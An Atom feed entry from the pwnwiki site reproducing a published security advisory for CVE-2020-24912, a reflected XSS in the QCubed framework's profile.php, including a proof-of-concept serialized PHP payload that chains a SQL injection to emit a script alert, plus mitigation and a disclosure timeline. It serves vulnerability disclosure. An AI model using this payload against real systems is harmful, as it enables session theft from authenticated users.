<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-24912_QCubed_3.11_XSS%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-24912 QCubed 3.11 XSS漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-24912_QCubed_3.11_XSS%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-24912_QCubed_3.11_XSS%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-23T08:36:49Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-24912_QCubed_3.11_XSS%E6%BC%8F%E6%B4%9E&amp;diff=3623&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; QCube Cross-Site-Scripting ====================== | Identifier: | AIT-SA-20210215-03 | | Target: | QCubed Framework | | Vendor: | QCubed | | Version: | all versi...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-24912_QCubed_3.11_XSS%E6%BC%8F%E6%B4%9E&amp;diff=3623&amp;oldid=prev"/>
		<updated>2021-05-30T02:37:02Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; QCube Cross-Site-Scripting ====================== | Identifier: | AIT-SA-20210215-03 | | Target: | QCubed Framework | | Vendor: | QCubed | | Version: | all versi...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
QCube Cross-Site-Scripting&lt;br /&gt;
======================&lt;br /&gt;
| Identifier: | AIT-SA-20210215-03 |&lt;br /&gt;
| Target: | QCubed Framework |&lt;br /&gt;
| Vendor: | QCubed |&lt;br /&gt;
| Version: | all versions including 3.1.1 |&lt;br /&gt;
| CVE: | CVE-2020-24912 |&lt;br /&gt;
| Accessibility: | Remote |&lt;br /&gt;
| Severity: | High |&lt;br /&gt;
| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |&lt;br /&gt;
&lt;br /&gt;
SUMMARY&lt;br /&gt;
=======&lt;br /&gt;
QCubed is a PHP Model-View-Controller Rappid Application Development framework. (https://github.com/qcubed/qcubed)&lt;br /&gt;
&lt;br /&gt;
VULNERABILITY DESCRIPTION&lt;br /&gt;
=========================&lt;br /&gt;
A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.&lt;br /&gt;
&lt;br /&gt;
PROOF OF CONCEPT&lt;br /&gt;
=================&lt;br /&gt;
The XSS occurs because the SQL-output in profile.php is not sanitized properly. Since we are able to tamper the output using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string.&lt;br /&gt;
&lt;br /&gt;
We use the following payload(unencoded):&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
a:1:{i:0;a:3:{s:12:&amp;quot;objBacktrace&amp;quot;;a:1:{s:4:&amp;quot;args&amp;quot;;a:1:{i:0;s:3:&amp;quot;PWN&amp;quot;;}}s:8:&amp;quot;strQuery&amp;quot;;s:112:&amp;quot;select version(); select convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)&amp;quot;;s:11:&amp;quot;dblTimeInfo&amp;quot;;s:1:&amp;quot;1&amp;quot;;}}&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded:&lt;br /&gt;
&lt;br /&gt;
```&lt;br /&gt;
&amp;quot;&amp;lt;script&amp;gt;alert(‘xss’)&amp;lt;/script&amp;gt;&amp;quot;&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
VULNERABLE VERSIONS&lt;br /&gt;
===================&lt;br /&gt;
All versions including 3.1.1 are affected.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TESTED VERSIONS&lt;br /&gt;
===============&lt;br /&gt;
QCubed 3.1.1&lt;br /&gt;
&lt;br /&gt;
IMPACT&lt;br /&gt;
======&lt;br /&gt;
An unauthenticated attacker could  steal sessions of authenticated users.&lt;br /&gt;
&lt;br /&gt;
MITIGATION&lt;br /&gt;
==========&lt;br /&gt;
&lt;br /&gt;
A patch was delivered by QCubed that allows to disable the profile-functionality( https://github.com/qcubed/qcubed/pull/1320/files ).&lt;br /&gt;
&lt;br /&gt;
VENDOR CONTACT TIMELINE&lt;br /&gt;
=======================   &lt;br /&gt;
&lt;br /&gt;
| 2020-04-19 | Contacting the vendor |&lt;br /&gt;
| 2020-04-19 | Vendor replied |&lt;br /&gt;
| 2020-05-01 | Vendor released a patch at Github |&lt;br /&gt;
| 2021-02-15 | Public disclosure |&lt;br /&gt;
&lt;br /&gt;
ADVISORY URL&lt;br /&gt;
============&lt;br /&gt;
[https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed](https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>